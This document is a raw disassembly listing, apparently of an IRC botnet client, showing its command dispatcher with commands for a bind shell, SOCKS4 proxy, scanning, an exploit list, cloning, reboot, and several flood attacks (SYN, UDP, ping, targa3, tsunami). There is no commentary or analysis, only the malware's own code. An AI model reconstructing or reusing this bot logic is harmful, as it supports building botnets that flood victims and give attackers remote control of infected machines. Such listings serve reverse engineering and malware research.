		jz	short loc_40230A

loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2670EA1h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		call	near ptr 2680835h
		nop
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
